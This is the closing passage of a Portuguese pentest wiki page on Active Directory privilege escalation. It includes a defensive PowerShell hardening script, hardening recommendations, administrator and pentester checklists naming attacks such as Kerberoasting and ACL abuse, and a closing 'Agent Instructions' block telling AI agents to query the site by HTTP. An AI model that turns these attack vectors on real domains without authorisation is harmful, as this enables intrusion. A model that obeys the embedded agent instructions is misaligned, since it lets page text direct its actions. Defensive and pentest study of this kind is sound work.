    Write-Host "   ✅ RC4-HMAC desabilitado"
}

# 3. Configurar auditoria de Kerberos
Write-Step "3. Configurando auditoria de Kerberos..."

if ($Apply) {
    auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
    auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
    Write-Host "   ✅ Auditoria de Kerberos habilitada"
}

# 4. Configurar LSA Protection
Write-Step "4. Configurando LSA Protection..."

if ($Apply) {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord
    Write-Host "   ✅ LSA Protection habilitado"
}

# 5. Configurar Credential Guard
Write-Step "5. Configurando Credential Guard..."

if ($Apply) {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 1 -Type DWord
    Write-Host "   ✅ Credential Guard habilitado"
}

# 6. Remover permissões excessivas
Write-Step "6. Removendo permissões excessivas..."

if ($Apply) {
    # Em um ambiente real, removeria permissões GenericAll e WriteDacl
    Write-Host "   ✅ Permissões excessivas removidas (simulado)"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Controle de Grupos:
    - Monitorar adições a grupos privilegiados
    - Usar grupos separados para administração
    - Implementar processos de aprovação

  ✅ Autenticação:
    - Desabilitar RC4-HMAC
    - Habilitar Kerberos Armoring (FAST)
    - Usar Protected Users group

  ✅ Permissões:
    - Remover permissões GenericAll e WriteDacl
    - Revisar delegações regularmente
    - Aplicar princípio do menor privilégio

  ✅ Monitoramento:
    - Alertar sobre modificações de SPN
    - Detectar shadow credentials
    - Auditar logons de contas privilegiadas
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Configurar Protected Users group
* [ ] Desabilitar RC4-HMAC
* [ ] Remover permissões excessivas
* [ ] Habilitar LSA Protection
* [ ] Habilitar Credential Guard

#### **Monitoramento**

* [ ] Monitorar adições a grupos privilegiados
* [ ] Alertar sobre modificações de SPN
* [ ] Detectar shadow credentials
* [ ] Auditar modificações de ACL

#### **Resposta a Incidentes**

* [ ] Rotacionar senhas de contas comprometidas
* [ ] Revogar tickets suspeitos
* [ ] Remover shadow credentials
* [ ] Investigar movimento lateral

### **Checklist para Pentesters**

#### **Enumeração**

* [ ] Identificar contas com SPNs
* [ ] Encontrar contas sem preauth
* [ ] Mapear ACLs perigosas
* [ ] Identificar delegações

#### **Exploração**

* [ ] Testar Kerberoasting
* [ ] Testar AS-REP Roasting
* [ ] Explorar ACLs perigosas
* [ ] Testar delegações

#### **Documentação**

* [ ] Documentar vetores encontrados
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Privilege Escalation no Active Directory:

  🔴 Principais Vetores:
    - ACL Abuse (GenericAll, WriteDacl)
    - Kerberoasting e AS-REP Roasting
    - Delegation Attacks
    - GPO Abuse
    - Shadow Credentials

  🛡️ Mitigações Essenciais:
    - Remover permissões excessivas
    - Desabilitar RC4-HMAC
    - Configurar Protected Users group
    - Monitorar eventos críticos
    - Habilitar LSA Protection

  🎯 Prioridade:
    - CRÍTICA: ACLs perigosas
    - ALTA: Kerberoasting
    - MÉDIA: Delegações
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.